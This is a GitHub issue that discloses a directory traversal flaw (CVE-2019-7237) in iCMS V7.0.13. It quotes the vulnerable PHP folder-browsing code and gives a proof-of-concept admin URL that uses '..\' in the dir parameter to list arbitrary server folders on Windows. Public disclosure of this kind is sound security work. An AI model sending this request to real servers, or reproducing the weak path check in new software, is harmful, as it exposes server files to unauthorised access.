Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

iCMS V7.0.13 Directory Traversal[CVE-2019-7237] #54

Closed
dbappxuji opened this issue Jan 30, 2019 · 0 comments

Comments

@dbappxuji
Copy link

commented Jan 30, 2019

in /app/editor/editor.admincp.php
public function do_browse(){ $this->explorer(iCMS::$config['FS']['dir']); }
public function explorer($dir=NULL,$type=NULL){ $res = iFS::folder($dir,$type);
in /iPHP/core/iFS.class.php
`
public static function folder($dir = '', $type = NULL) {
$dir = trim($dir, '/');
$_GET['dir'] && $gDir = trim($_GET['dir'], '/');
$sDir_PATH = self::path_join(iPATH, $dir);
$iDir_PATH = self::path_join($sDir_PATH, $gDir);
strpos($iDir_PATH, $sDir_PATH) === false && self::_error(array('code' => 0, 'state' => 'DIR_Error'));

	if (!is_dir($iDir_PATH)) {
		return false;
	}

	$url = iURL::make('dir');
	if ($handle = opendir($iDir_PATH)) {
		while (false !== ($rs = readdir($handle))) {
			$filepath = self::path_join($iDir_PATH, $rs);
			$filepath = rtrim($filepath, '/');
			$sFileType = @filetype($filepath);
			// var_dump($sDir_PATH,$filepath);
			$path = str_replace($sDir_PATH, '', $filepath);
			$path = ltrim($path, '/');
			if ($sFileType == "dir" && !in_array($rs, array('.', '..', 'admincp'))) {
				$dirArray[] = array(
					'path' => $path,
					'name' => $rs,
					'url' => $url . urlencode($path),
				);
			}
			if ($sFileType == "file" && !in_array($rs, array('..', '.iPHP'))) {
				$filext = iFS::get_ext($rs);
				$fileinfo = array(
					'path' => $path,
					'dir' => dirname($path),
					'url' => iFS::fp($path, '+http'),
					'name' => $rs,
					'modified' => get_date(filemtime($filepath), "Y-m-d H:i:s"),
					'md5' => md5_file($filepath),
					'ext' => $filext,
					'size' => iFS::sizeUnit(filesize($filepath)),
				);
				if ($type) {
					in_array(strtolower($filext), $type) && $fileArray[] = $fileinfo;
				} else {
					$fileArray[] = $fileinfo;
				}
			}
		}
	}
	$a['DirArray'] = (array) $dirArray;
	$a['FileArray'] = (array) $fileArray;
	$a['pwd'] = str_replace($sDir_PATH, '', $iDir_PATH);
	$a['pwd'] = trim($a['pwd'], '/');
	$pos = strripos($a['pwd'], '/');
	$a['parent'] = ltrim(substr($a['pwd'], 0, $pos), '/');
	$a['URI'] = $url;
	return $a;
}

`
0
01

if the server is windows
http://url/admincp.php?app=files&do=browse&from=modal&click=file&callback=pic&dir=..\
we can use ..\ to dir to traver any floder in the server
03
02

author by ji.xu@dbappsecurity.com.cn

@dbappxuji dbappxuji changed the title iCMS V7.0.13 Directory Traversal iCMS V7.0.13 Directory Traversal[CVE-2019-7237] Feb 14, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
1 participant
You can’t perform that action at this time.